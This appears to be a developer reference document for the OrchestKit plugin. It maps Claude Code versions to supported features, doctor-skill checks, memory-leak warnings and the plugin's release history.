| `ListAgents` marks `offline` / `cloud` | 2.1.229 | Disconnected Remote Control sessions are marked `offline` and your cloud sessions labeled `cloud`. **This is the liveness primitive #3316 was missing**: a sender can now scope to live peers instead of messaging a dead name. **ork gets this for free**, because all 19 agents that grant `SendMessage` also grant `ListAgents` (see the corrected 2.1.224 row above). The "4-agent gap" first claimed here was a measurement artifact and is retracted; no ork agent can send without also being able to check liveness | A roster entry gave no signal whether the peer was alive |
| sandbox domain lists fail closed | 2.1.229 | IPv6 literals in `sandbox.network` domain lists are now bracketed (`[::1]:443`), and **ambiguous spellings are enforced fail-closed and flagged by `/doctor`**. ork's recommended starter config in `doctor/references/sandbox-posture.md` is unaffected (4 plain hostnames, no IPv6 literal, no port), but the file's "no detection API" honest-limit was partly stale, because `/doctor` now reports at least the ambiguous-spelling class. Strengthens #3322 | An ambiguous domain spelling could fail open, unflagged |
| `CLAUDE_CODE_WORKFLOW_PREFIX_STAGGER_MS` | 2.1.229 | Workflow fan-outs stagger same-prefix sibling agents so later siblings read the **cached prompt prefix** instead of re-paying it; set to `0` to disable. A direct token win for ork's fan-out skills (`audit-full-mapreduce`, `skill-fitness`), documented in `chain-patterns/references/dynamic-workflow-patterns.md`, which carried no concurrency or cost content before this | Every sibling in a fan-out re-paid the shared prefix |
| workflows honour container CPU limits | 2.1.229 | Dynamic workflows inside CPU-limited containers used the **host machine's** core count instead of the container's limit, over-parallelizing ork workflows in CI runners and Docker | Workflow concurrency ignored the cgroup CPU limit |
| marketplace `command` sources | 2.1.229 | A local command (for example an IDE) prints the plugin directory; it is **re-resolved each session and applied without a restart**, and `mode: "link"` uses it in place. ork ships two `git-subdir` entries today; a `command` source would give contributors a local-build channel with no reinstall. **Opportunity, not a defect** | Local plugin development required a reinstall per build |
| subagent fork on by default, `subagent_type: "fork"` first-class | 2.1.232 | Forking is on by default and fork is an explicit `subagent_type` whose subagent inherits the full conversation and prompt cache. The 2.1.212 and 2.1.221 rows above say ork's `Agent()`-based fork pattern is unaffected by `/fork` changes; this is the first release where the pattern docs needed a note (`chain-patterns/references/fork-pattern.md`, `brainstorm/SKILL.md`). Hooks match the bare `Agent` tool name and `agent-registry-validator` leaves an unknown bare word alone, so no false prompt on a fork spawn | Fork docs described implicit detection as the only route |
| Task tools removed for newest models | 2.1.233 | `TaskCreate`/`TaskUpdate`/`TaskGet`/`TaskList` are removed for the newest models unless `CLAUDE_CODE_ENABLE_TODO_TOOLS=1`. The flag is honoured only from user or managed settings, so ork cannot ship it; 34 of 37 ork agents grant the tools in frontmatter and the `TaskCreated` hook event stays registered, all of which is inert until the operator sets the flag. Documented in `agents-validation.md` and `task-dependency-patterns/SKILL.md` | Agents granted Task tools that were silently absent |
| `/commit-push-pr` stops auto-approving dangerous flags | 2.1.229 | git/gh commands carrying `--force`, `--amend`, `--no-verify` and similar are no longer auto-approved by that command. **Converges with ork's guards but does not replace them**: ork's guards key off the Bash command string across every command, not one slash command, so nothing is subtracted here | A dangerous flag rode along on an auto-approved commit flow |

## Prompt Caching Recommendation

For API-key, Bedrock, Vertex, or Foundry users running long OrchestKit sessions (brainstorm, implement, cover chains), enable 1-hour prompt caching:

```bash
export ENABLE_PROMPT_CACHING_1H=1
```

This extends the prompt cache TTL from 5 minutes to 1 hour, significantly reducing token costs when:
- Returning to a session after brief breaks
- Running multi-phase skills that exceed the 5-minute cache window
- Using `/loop` or scheduled tasks with intervals > 5 minutes

**Note:** Since CC 2.1.110, session recap is enabled by default even with telemetry disabled. Opt out via `/config` or `CLAUDE_CODE_ENABLE_AWAY_SUMMARY=0`. On CC 2.1.108-2.1.109, users with `DISABLE_TELEMETRY=1` must set `CLAUDE_CODE_ENABLE_AWAY_SUMMARY=1` manually.

Doctor should check for this env var and recommend it when:
- User is on API key / Bedrock / Vertex / Foundry (not subscription)
- Session has been active for > 30 minutes
- `ENABLE_PROMPT_CACHING_1H` is not set

## Version Detection

The doctor skill checks the CC version at runtime:

```bash
# CC reports version via environment or CLI
claude --version  # Returns e.g. "2.1.47"
```

## Compatibility Levels

| CC Version | Support Level | Description |
|-----------|--------------|-------------|
| &lt; 2.1.7 | Unsupported | Core hook protocol missing |
| 2.1.7 - 2.1.44 | Degraded | Missing memory improvements, worktree fixes, Windows support |
| 2.1.45 - 2.1.46 | Partial | Missing 2.1.47 features but functional |
| 2.1.47 - 2.1.49 | Partial | All hook features, memory leak risk in long sessions |
| 2.1.50 - 2.1.58 | Partial | Memory leaks fixed, missing auto-memory and @imports |
| 2.1.59 - 2.1.62 | Partial | Auto-memory, @imports, missing HTTP hooks and 2.1.69 features |
| 2.1.63 - 2.1.68 | Partial | HTTP hooks, worktree config sharing, missing InstructionsLoaded/once:true/ask |
| >= 2.1.69 | Full | InstructionsLoaded, once:true, outputAsk, path-scoped rules |
| >= 2.1.72 | Full | ExitWorktree, agent model override, effort simplification, prompt cache 12x |
| >= 2.1.76 | Full | MCP elicitation, PostCompact hook, /effort command |
| >= 2.1.78 | Full | StopFailure event, CLAUDE_PLUGIN_DATA, agent effort/maxTurns frontmatter |
| >= 2.1.80 | Full | rate_limits in StatusLine, skill effort frontmatter, --channels preview |
| >= 2.1.83 | Full | CwdChanged/FileChanged events, managed-settings.d/, sandbox.failIfUnavailable |
| >= 2.1.84 | Full | TaskCreated event, paths: glob, CLAUDE_STREAM_IDLE_TIMEOUT_MS, MCP non-blocking startup |
| >= 2.1.85 | Full | PreToolUse for AskUserQuestion, headless responder hooks |
| >= 2.1.86 | Full | Config disk write fix, Write/Edit outside project root |
| >= 2.1.75 | Full++++++ | 1M context default, memory timestamps, hook source display, token estimation fix |
| >= 2.1.76 | Full+++++++ | PostCompact hook, Elicitation hooks, worktree.sparsePaths, /effort, bg agent partial results |
| >= 2.1.77 | Full++++++++ | 64k/128k output, allowRead sandbox, plugin validate, SendMessage auto-resume, PreToolUse deny fix |
| >= 2.1.78 | Full+++++++++ | StopFailure hooks, CLAUDE_PLUGIN_DATA, agent frontmatter, plugin validate, worktree skills fix |
| >= 2.1.79 | Full++++++++++ | --console auth, /remote-control, multi-dir PLUGIN_SEED_DIR, turn duration toggle |
| >= 2.1.80 | Full+++++++++++ | rate_limits statusline, effort frontmatter, --channels, source:settings marketplace, --resume parallel fix |
| >= 2.1.81 | Full++++++++++++ | --bare eval mode, --channels permission relay, plugin re-clone freshness, worktree resume, bg agent race fix |
| >= 2.1.83 | Full+++++++++++++ | managed-settings.d/, CwdChanged/FileChanged hooks, sandbox.failIfUnavailable, initialPrompt, userConfig, env scrub |
| >= 2.1.84 | Full++++++++++++++ | TaskCreated hook, WorktreeCreate HTTP, paths: globs, ANTHROPIC_DEFAULT_*, stream timeout, MCP 2KB cap, json-schema fix |
| >= 2.1.88 | Full+++++++++++++++ | PermissionDenied hook, auto permission mode, absolute file_path, compound if matching, NO_FLICKER |
| >= 2.1.89 | Full++++++++++++++++ | defer permission, TaskCreated blocking, MCP_CONNECTION_NONBLOCKING, named subagent typeahead, hook disk spill |
| >= 2.1.90 | Full+++++++++++++++++ | /powerup, PLUGIN_KEEP_MARKETPLACE, .husky protected, exit code 2 fix, format-on-save fix, 3x perf |
| >= 2.1.91 | Full | MCP result size override, disableSkillShellExecution, plugin bin/, Edit shorter anchors, transcript fix |
| >= 2.1.92 | Full | forceRemoteSettingsRefresh, Stop hook preventContinuation fix, tool input JSON-string fix, Write perf, tmux pane fix |
| >= 2.1.94 | Full | Skill frontmatter hooks fix (unlocks 20 context loaders), sessionTitle hook output, keep-coding-instructions, default effort high, rate-limit 429 surface, --resume across worktrees, CJK stream-json fix |
| >= 2.1.95 | Full | MCP tool description 2KB cap, local MCP config dedup (npm-only release) |
| >= 2.1.96 | Full | Bedrock bearer token 403 hotfix (2.1.94 regression) |
| >= 2.1.97 | Full | refreshInterval status line, workspace.git_worktree, Stop/SubagentStop long-session fix, subagent cwd leak fix, plugin update fix, Bash permissions hardened, TRACEPARENT OTEL, image compression parity, 429 exponential backoff, MCP memory leak fix, transcript optimization |
| >= 2.1.101 | Full | /team-onboarding, OS CA cert trust, deny-overrides-ask, subagent dynamic MCP, worktree agent file access, focus mode summaries, settings resilience |
| >= 2.1.105 | Full | EnterWorktree path param, PreCompact blocking (exit code 2 / decision:block), plugin monitors manifest, skill description cap 1536 chars, WebFetch script stripping, stale worktree squash cleanup |
| >= 2.1.108 | Full | ENABLE_PROMPT_CACHING_1H for 1-hour cache TTL (major cost savings), /recap session context restoration, Skill tool auto-discovery of built-in commands, model switch warning, lazy language grammars (lower memory), rate limit distinction, agent auto-classifier fix |
| >= 2.1.110 | Full | /tui fullscreen rendering, PushNotification tool for long sessions, /focus command (replaces Ctrl+O), Bash max timeout enforced, Write user-edit signal, session recap default-on (no env var needed), --resume resurrects scheduled tasks, /doctor MCP duplicate warning, Remote Control commands (/autocompact, /context, /exit, /reload-plugins), SDK TRACEPARENT/TRACESTATE auto-propagation |
| >= 2.1.220 | **Minimum (current floor)** | **OrchestKit's supported floor. Anything below is unsupported. `shared/cc-support.json` is the single source of truth; this row mirrors it.** |

## Doctor Check Implementation

The doctor skill validates CC version in category 10:

```
Claude Code: 2.1.220 (OK)
- Minimum required: 2.1.220
```

When CC version is below the floor, doctor should show the shortfall. Example on a
much older build, where the missing-feature list is long enough to be useful:

```
Claude Code: 2.1.44 (DEGRADED)
- Minimum required: 2.1.220
- Missing features:
  - last_assistant_message (Stop/SubagentStop context)
  - added_dirs (multi-directory support)
  - Windows hook execution
  - Worktree discovery
  - Deferred SessionStart
- Upgrade: npm install -g @anthropic-ai/claude-code@latest
```

## Memory Leak Warning (CC &lt; 2.1.50)

CC 2.1.50 fixed 8 memory leaks affecting long-running sessions:
- Agent teams: completed teammate tasks never garbage collected
- Task state objects never removed from AppState
- TaskOutput retained data after cleanup
- CircularBuffer cleared items retained in backing array
- Shell execution: ChildProcess/AbortController refs retained after cleanup
- LSP diagnostic data never cleaned up after delivery
- File history snapshots: unbounded growth
- Internal caches not cleared after compaction (fixed in 2.1.63)

**Recommendation:** If CC version &lt; 2.1.50, warn user to upgrade for long sessions.

Doctor should display when CC &lt; 2.1.50:

```
Claude Code: 2.1.4x (MEMORY LEAK RISK)
- 8 memory leaks fixed in 2.1.50 affect long-running sessions
- Symptoms: increasing memory usage, slower responses over time
- Upgrade: npm install -g @anthropic-ai/claude-code@latest
```

## OrchestKit Version History

| OrchestKit | Min CC | Key Changes |
|-----------|--------|-------------|
| v9.6.x | 2.1.220 | **CC 2.1.221 + 2.1.222 adoption: `latest_known` 2.1.220 → 2.1.222, `supported_floor` STAYS 2.1.220 (latest_known-only bump — the 2026-07-25 `manual_override` pins floor=latest=2.1.220 until 2026-09-20), 19 new matrix entries. Highest-signal rows: 2.1.222 extends worktree isolation to file edits and Bash in EVERY session type including subagents, closing the last gap in the 2.1.154 → 2.1.203 → 2.1.210 → 2.1.212 lineage for ork's 25 `isolation: worktree` agents; 2.1.222 stops PreToolUse auto-allow hooks bypassing tool restrictions in background agent tasks; 2.1.222 tells Claude to ask the user to run a `disable-model-invocation` skill instead of replicating it (33 ork skills); 2.1.221 makes plugin skills named after terminal-only built-ins invocable in non-interactive sessions, which un-breaks `/ork:help` headless. Also documented: gateway keep-alive vs `CLAUDE_STREAM_IDLE_TIMEOUT_MS`, `SendMessage` summary truncation, auto-mode classification of `SendMessage`, `/usage` MCP attribution fix, Remote Control auto-start becoming user-scope only, `--mcp-config` connecting before the first `-p` turn, the zsh `[[ ]]` Bash permission bypass fix, and ultraplan removal** |
| v7.83.x | 2.1.125 | **M131 — CC 2.1.128 adoption (1 PR): floor 2.1.122 → 2.1.125, latest 2.1.126 → 2.1.128, 7 new matrix entries (`enter_worktree_branch_from_head`, `workspace_reserved_mcp_name`, `plugin_dir_zip_archives`, `channels_console_auth`, `init_plugin_errors_plugin_dir`, `subagent_idle_summary_capped`, `plugin_update_npm_detection_fix`); release-engineer agent documents `.zip` plugin distribution path; setup skill documents `channelsEnabled: true` for `--channels` + console auth; eval-runner agent picks up expanded `init.plugin_errors` covering `--plugin-dir` failures (was marketplace-only since 2.1.111); EnterWorktree branch-from-HEAD audit confirmed no stale "commit before worktree" guidance across 38 skill/agent mentions; M128 backfill of 2.1.122/2.1.126 matrix entries deferred (features adopted in skills/docs without runtime gates)** |
| v7.80.x | 2.1.122 | **M128 — CC 2.1.122 + 2.1.126 adoption (5 issues, 1 PR): floor 2.1.118 → 2.1.122, OTEL `invocation_trigger` attribute on `claude_code.skill_activated` (CC 2.1.126) surfaced in `/ork:analytics` skill-trigger breakdown, `claude project purge --dry-run` wired into `/ork:doctor` stale-project diagnostic + `/ork:dream` summary hint, `--dangerously-skip-permissions` scope expansion (`.git/`, `.vscode/`, shell rcs) documented in security-patterns/setup/hooks-README, OTEL numeric-attr type-safe ingestion verified for CC 2.1.122+, `claude_code.at_mention` event ingestion decision recorded** |
| v7.70.x | 2.1.118 | **M122 — CC 2.1.118 + 2.1.119 adoption (8 issues, 1 PR): floor 2.1.117 → 2.1.118, 17 new matrix entries, PostToolUse `duration_ms` threaded through posttool hooks, OTEL `tool_use_id` + `tool_input_size_bytes` documented, `--from-pr` multi-host (GitLab/Bitbucket/GHE) in review-pr/create-pr/fix-issue, `--print` honors agent `tools:`/`disallowedTools:` in bare-eval, pilot adoption of `type: "mcp_tool"` hook type, `claude plugin tag` wired into release-please workflow, three new chain-patterns refs (mcp-tool-hooks.md, pr-from-platform.md, plugin-tag.md)** |
| v7.69.x | 2.1.117 | **M117 closeout (2 issues, 1 PR): `/ork:doctor` warns on HIGH-tier MCP `@latest` pinning (closes #1462), fast-check property tests for 9 hook handlers + input validator (closes #1452), defensive-input hardening tracked separately as #1497 in M119** |
| v7.50.x | 2.1.111 | **CC 2.1.111 + Opus 4.7 adoption (23 issues, 1 PR): MIN_CC_VERSION 2.1.108 → 2.1.111, 17 new matrix entries (311 total), `xhigh` effort tier across 7 phase-based skills, token budgets converted to %-of-context via new `lib/context-window.ts`, `ork:review-pr` composes `/ultrareview` gated by sensitive-path/diff-size triggers via `AskUserQuestion`, eval preflight catches `plugin_errors` on stream-json init, 2,576px vision ceiling in design/UI skills, doctor Category 14 detects xhigh-without-Opus-4.7, retry-policy audit with rationale comments** |
| v7.44.x | 2.1.108 | **CC 2.1.108 adoption: 25 new matrix entries (278 total), ENABLE_PROMPT_CACHING_1H env var, /recap session context, Skill tool auto-discovery, model switch warning, lazy language grammars, EnterWorktree path param, PreCompact blocking, plugin monitors manifest key, skill description cap 1536 chars, expanded 11 user-invocable skill descriptions** |
| v7.38.x | 2.1.101 | **CC 2.1.101 adoption + frontmatter audit: 26 skill frontmatter fixes (context/agent fields now enforced), deny-overrides-ask behavior, subagent dynamic MCP inheritance, worktree agent file access, /team-onboarding command, OS CA cert trust, focus mode self-contained summaries, RemoteTrigger run fix, settings resilience, 18 new matrix entries (253 total)** |
| v7.37.x | 2.1.98 | **CC 2.1.98 adoption: Monitor tool for streaming background events, SCRIPT_CAPS env var, partial progress from failed bg subagents, hook stderr in transcript, /agents tabbed layout, /reload-plugins skill discovery, Bash permission hardening (backslash escape fix, compound cmd fix), stale worktree cleanup fix, team permission inheritance, Vertex AI wizard, Perforce mode** |
| v7.33.x | 2.1.97 | **CC 2.1.97 full utilization: refreshInterval status line, workspace.git_worktree awareness, TRACEPARENT OTEL tracing to HQ, Stop/SubagentStop long-session fix, subagent cwd leak fix, MCP 2KB cap guardrail, image compression parity, Bash permissions hardened, Accept Edits env-prefix, plugin update fix, prototype settings.json fix** |
| v7.30.x | 2.1.94 | **Skill frontmatter hooks unlock (20 context loaders activated), sessionTitle on UserPromptSubmit, keep-coding-instructions, default effort high adaptation, --resume across worktrees, CJK stream-json fix, Bedrock bearer token 2.1.96 hotfix** |
| v7.29.x | 2.1.92 | forceRemoteSettingsRefresh policy, Stop hook preventContinuation fix, tool input JSON-string fix, plugin MCP dedup fix, Write perf 60%, /tag + /vim removed, MCP result size override, disableSkillShellExecution, plugin bin/, Edit shorter anchors |
| v7.27.x | 2.1.90 | /powerup, PLUGIN_KEEP_MARKETPLACE, .husky protected, exit code 2 fix, format-on-save fix, 3x perf improvements |
| v7.24.x | 2.1.84 | TaskCreated hook, WorktreeCreate HTTP, paths: glob lists, ANTHROPIC_DEFAULT_* env vars, stream idle timeout, json-schema fix |
| v7.23.x | 2.1.83 | managed-settings.d/, CwdChanged/FileChanged hooks, sandbox.failIfUnavailable, initialPrompt, userConfig sensitive, env scrub |
| v7.15.x | 2.1.80 | effort frontmatter, rate_limits statusline, --channels, source:settings, simplified plugin tips |
| v7.14.x | 2.1.79 | --console auth, /remote-control, multi-dir PLUGIN_SEED_DIR, turn duration toggle |
| v7.14.x | 2.1.78 | StopFailure hooks, CLAUDE_PLUGIN_DATA, agent frontmatter, plugin validate, worktree skills fix |
| v7.12.x | 2.1.77 | 64k/128k output, allowRead sandbox, plugin validate, SendMessage auto-resume, PreToolUse deny fix |
| v7.8.x | 2.1.76 | PostCompact hook, Elicitation hooks, sparse paths, /effort, bg agent partial results |
| v7.7.x | 2.1.75 | 1M context default, memory timestamps, hook source display, token estimation fix |
| v7.5.x | 2.1.74 | SessionEnd timeout fix, managed policy precedence, full model IDs, memory fixes |
| v7.4.x | 2.1.73 | Deadlock fix, SessionStart fix, no-op fix, Opus 4.6 cloud default |
| v7.1.x | 2.1.69 | InstructionsLoaded, once:true loaders, outputAsk, env var HTTP hooks, worktree dedup |
| v7.0.x | 2.1.59 | Auto-memory, @imports, ConfigChange, HTTP hooks (2.1.63+), unified plugin |
| v6.0.x | 2.1.47 | Full CC 2.1.47 adoption, relaxed context limits |
| v5.x | 2.1.34 | Agent Teams support, unified dispatchers |
| v4.x | 2.1.9 | Session tracking, TypeScript hooks |
